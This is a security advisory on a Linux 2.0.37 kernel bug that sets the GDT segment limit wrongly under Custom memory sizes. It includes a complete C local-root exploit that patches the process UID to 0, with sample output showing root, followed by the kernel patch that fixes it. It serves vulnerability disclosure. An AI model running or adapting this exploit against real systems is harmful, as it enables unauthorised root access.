COMMAND

    kernel

SYSTEMS AFFECTED

    Linux 2.0.37

PROBLEM

    Solar Designer found following.  Linux 2.0.37 released  introduces
    the support for more  than 1 GB of  physical memory on x86  (which
    wasn't supported in earlier 2.0  kernels).  It is now  possible to
    increase the  limit, at  the expense  of reducing  the per process
    address space.  There're three settings supported: Standard (1  GB
    physical, plus  3 GB  per process),  Enterprise (2+2),  and Custom
    (lets one enter a value).

    Unfortunately, there's a bug with filling in the lower 16 bits  of
    the "segment  limit" field  in the  corresponding GDT descriptors.
    Because of the bug,  these bits are always  set.  As the  limit is
    encoded in pages (4 KB on x86),  and has to be a multiple of  4 MB
    because of the structure of  page tables, the limit can  be almost
    252 MB off.   It is important to  note that with the  Standard and
    Enterprise memory configurations, the limit is encoded  correctly,
    as  these  bits  should  really  be  set:  both  1 GB and 2 GB are
    multiples of 256  MB.  If  you're using one  of those, you're  not
    vulnerable.   However,  if  you've  chosen  Custom  for any reason
    (such as, to match your actual physical memory size, following one
    of           the            examples           given            in
    linux/Documentation/more-than-900MB-RAM.txt,  or   just  for   the
    extra diversity), then you are vulnerable.

    The  exploit  (local   root,  can  be   extended  to  also   reset
    securelevel; will  only compile  with libc  5, you'd  have to  rip
    task_struct out of <linux/sched.h> for compiling with glibc):

    #define __KERNEL__
    #include <linux/sched.h>
    #undef __KERNEL__
    #include <unistd.h>
    #include <grp.h>
    #include <stdio.h>
    #include <signal.h>
    #include <sys/resource.h>

    void die1()
    {
	    puts("\nFailed: probably not vulnerable");
	    exit(1);
    }

    void die2()
    {
	    puts("\nVulnerable, but failed to exploit");
	    exit(1);
    }

    int main()
    {
	    int *sp = (int *)&sp;
	    int *d = sp;
	    struct task_struct *task = (struct task_struct *)sp;
	    int pid, uid;
	    struct rlimit old, new;

	    setbuf(stdout, NULL);
	    printf("Searching for the descriptor... ");

	    signal(SIGSEGV, die1);

	    while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
		    (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;

	    signal(SIGSEGV, die2);

	    printf("found at %p\nExtending its limit... ", d + 2);

	    d[2] |= 0xF0000;

	    printf("done\nSearching for task_struct... ");

	    pid = getpid();
	    uid = getuid();

	    if (getrlimit(RLIMIT_FSIZE, &old)) {
		    perror("getrlimit");
		    return 1;
	    }

    search:
	    new = old; new.rlim_cur--;
	    if (setrlimit(RLIMIT_FSIZE, &new))
		    new.rlim_cur = old.rlim_cur;

	    do {
		    ((int *)task)++;
	    } while (task->pid != pid || task->uid != uid);

	    if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;

	    if (setrlimit(RLIMIT_FSIZE, &old)) {
		    perror("setrlimit");
		    return 1;
	    }

	    if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;

	    printf("found at %p\nPatching the UID... ", task);

	    task->uid = 0;
	    setuid(0);
	    setgid(0);
	    setgroups(0, NULL);

	    puts("done");

	    execl("/usr/bin/id", "id", NULL);
    	return 1;
    }

    Its output, with  CONFIG_MAX_MEMSIZE=1800 (the very  first example
    given in linux/Documentation/more-than-900MB-RAM.txt):

        Searching for the descriptor... found at 0x8f9068ac
        Extending its limit... done
        Searching for task_struct... found at 0x9157d810
        Patching the UID... done
        uid=0(root) gid=0(root)

SOLUTION

    Solar Designer  fixed this  vulnerability when  updating his patch
    for 2.0.37,  and it's  been out  some time.   He's also  including
    just the fix here.  As usual, the patch is available at:

        http://www.false.com/security/linux/

    Just this one fix, so that you don't have to download anything  or
    apply the rest of his patch:

    diff -urPX nopatch linux-2.0.37/arch/i386/config.in linux/arch/i386/config.in
    --- linux-2.0.37/arch/i386/config.in	Sun Jun 13 21:20:59 1999
    +++ linux/arch/i386/config.in	Tue Jun 22 08:07:33 1999
    @@ -28,7 +28,7 @@
 	     Custom		CONFIG_MEM_SPECIAL" Standard

     if [ "$CONFIG_MEM_SPECIAL" = "y" ]; then
    -	int ' Max physical memory in MB' CONFIG_MAX_MEMSIZE 1024
    +	int ' Max physical memory in MB (must be a multiple of 4)' CONFIG_MAX_MEMSIZE 1024
     fi
     if [ "$CONFIG_MEM_ENT" = "y" ]; then
 	    define_int CONFIG_MAX_MEMSIZE 2048
    diff -urPX nopatch linux-2.0.37/arch/i386/kernel/head.S linux/arch/i386/kernel/head.S
    --- linux-2.0.37/arch/i386/kernel/head.S	Sun Jun 13 21:21:00 1999
    +++ linux/arch/i386/kernel/head.S	Tue Jun 22 06:37:49 1999
    @@ -491,7 +491,7 @@

     #define lower_seg(type,dpl,base,limit) \
             (((base) & 0x0000ffff)<<16) | \
    -        ((limit) & 0x0ffff)
    +        (((limit)>>12) & 0x0ffff)

     #define x86_seg(type,dpl,base,limit) \
 	    .long lower_seg(type,dpl,base,limit); \
    diff -urPX nopatch linux-2.0.37/include/asm-i386/pgtable.h linux/include/asm-i386/pgtable.h
    --- linux-2.0.37/include/asm-i386/pgtable.h	Sun Jun 13 21:21:03 1999
    +++ linux/include/asm-i386/pgtable.h	Sat Jun 26 14:49:59 1999
    @@ -210,6 +210,10 @@
      * pgd entries used up by user/kernel:
      */

    +#if CONFIG_MAX_MEMSIZE & 3
    +#error Invalid max physical memory size requested
    +#endif
    +
     #define USER_PGD_PTRS ((unsigned long)__PAGE_OFFSET >> PGDIR_SHIFT)
     #define KERNEL_PGD_PTRS (PTRS_PER_PGD-USER_PGD_PTRS)
     #define __USER_PGD_PTRS (__PAGE_OFFSET >> PGDIR_SHIFT)